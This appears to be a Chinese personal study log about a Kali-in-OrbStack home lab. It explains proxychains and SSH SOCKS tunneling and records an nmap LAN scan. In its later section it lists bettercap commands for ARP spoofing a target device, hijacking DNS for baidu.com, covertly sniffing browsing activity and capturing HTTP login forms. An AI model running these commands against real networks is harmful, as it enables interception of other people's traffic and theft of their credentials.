05月19日
一、今日完成情况
- 完成brew重装
- arp欺骗实验完成
- 测试orbstack的使用,确实非常节约内存,好用
二、今日感悟
- 核心业务数据:
- 今日工作总结:
- 明日工作计划:
- 今日学习成长:
三、备注
- 无
四、orbStack–kali测试
1、网络问题
kali无法绑定网卡,因此只能使用代理的方式,连接我的MacBook,然后间接的访问网络。
[ Kali 虚拟机 ] (192.168.139.19)
│
│ 1. 流量被 proxychains 强行拦截,打包成 SOCKS5 协议
▼
[ OrbStack 虚拟网关 ] (192.168.139.3)
│
│ 2. 流量通过虚拟通道,送达 Mac 监听的 1080 端口
▼
[ Mac 宿主机 (SSH 进程) ] (192.168.51.81)
│
│ 3. Mac 摘掉 SOCKS5 外壳,用原生物理网卡替 Kali 发起真实探测
▼
[ 物理局域网目标 ] (192.168.51.106)
第一步:proxychains4 在虚拟机内“偷梁换柱”
在正常情况下,当你在 Kali 里运行 nmap 192.168.51.106 时,Kali 的系统内核会查看自己的路由表,发现自己是 139 网段,根本不知道 51 网段在哪个方向,于是直接报错 No route to host。
但你在前面加了 proxychains4。这个工具利用了 Linux 的 LD_PRELOAD 机制,在 nmap 启动的瞬间,强行劫持了它的网络底层函数(connect())。
nmap本来以为自己是在直接往192.168.51.106发包。- 结果请求全被
proxychains4拦截了下来,打包成了 SOCKS5 代理协议的数据包。
第二步:跨越“马里亚纳海沟”的 SSH 隧道
被打包好的 SOCKS5 流量,按照你在 /etc/proxychains4.conf 里的配置,被发往了 192.168.139.3:1080(即 Mac 宿主机)。
还记得你在 Mac 终端运行的那行静止不动的命令吗?
env ALL_PROXY= ... ssh -D 1080 -N kali
这行命令在 Mac 和 Kali 之间拉起了一个 SSH 动态端口转发(Dynamic Forwarding)。它在 Mac 本地偷摸开了一个 1080 端口。当 Kali 的流量撞进 Mac 的 1080 端口时,Mac 上的 SSH 进程就会接管这批流量。
第三步:Mac 宿主机的“合法替身”
这是最关键的一步。Mac 宿主机本身就在 192.168.51.x 这个真实的物理局域网里,它拥有物理网卡(en0)的绝对控制权。
Mac 收到 Kali 发来的代理请求后,把 SOCKS5 的协议外壳剥掉,露出了里面 nmap 原本的意图:“我想看看 192.168.51.106 的 135 端口开没开”。 接着,Mac 用自己的身份和物理 IP(.81),代替虚拟机向你的另一台电脑(.106)发起了真正的 TCP 三次握手。
当你的另一台电脑做出回应时:
- 另一台电脑回应给 Mac。
- Mac 通过 SSH 隧道 传回给虚拟机内部的
proxychains4。 proxychains4再把结果喂给nmap。
2、网段扫描
proxychains4 nmap -sT -Pn -p 135,445 192.168.51.0/24 | grep -B 1 -A 4 "Nmap scan report for [a-zA-Z]"
这里扫描到我自己的设备了。
3、mac环境测试
依赖环境配置如下:
bettercap(ARP 欺骗 / DNS 劫持 / 流量嗅探)
nmap(端口扫描)
proxychains-ng(代理扫描)
dsniff / arpspoof(可选,经典 ARP 欺骗)
brew安装:
brew install bettercap
brew install nmap
brew install proxychains-ng
brew install dsniff
dns劫持指令(需要注意:选定网卡启动):
sudo bettercap -iface en0
逐行运行,让被攻击者的所有网页跳转dns都解析到特定的网页:
# 锁定目标设备
set arp.spoof.targets 192.168.31.151
# 开启双向ARP
set arp.spoof.fullduplex true
# 启动ARP欺骗
arp.spoof on
# 启动DNS劫持(这次绝对不报错!)
dns.spoof on
# 设置劫持:百度跳转到B站
set dns.spoof.domains www.baidu.com,baidu.com
set dns.spoof.address 110.242.68.194
偷偷查看浏览记录:
arp.spoof on
set net.sniff.verbose true
net.sniff on
仅抓HTTP 老式网站登录表单:
net.sniff on
set net.sniff.http.requests true
还原环境指令:
arp.spoof off
dns.spoof off
http.inject off
net.sniff off
packet.loss off
exit
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 kipleyarch@gmail.com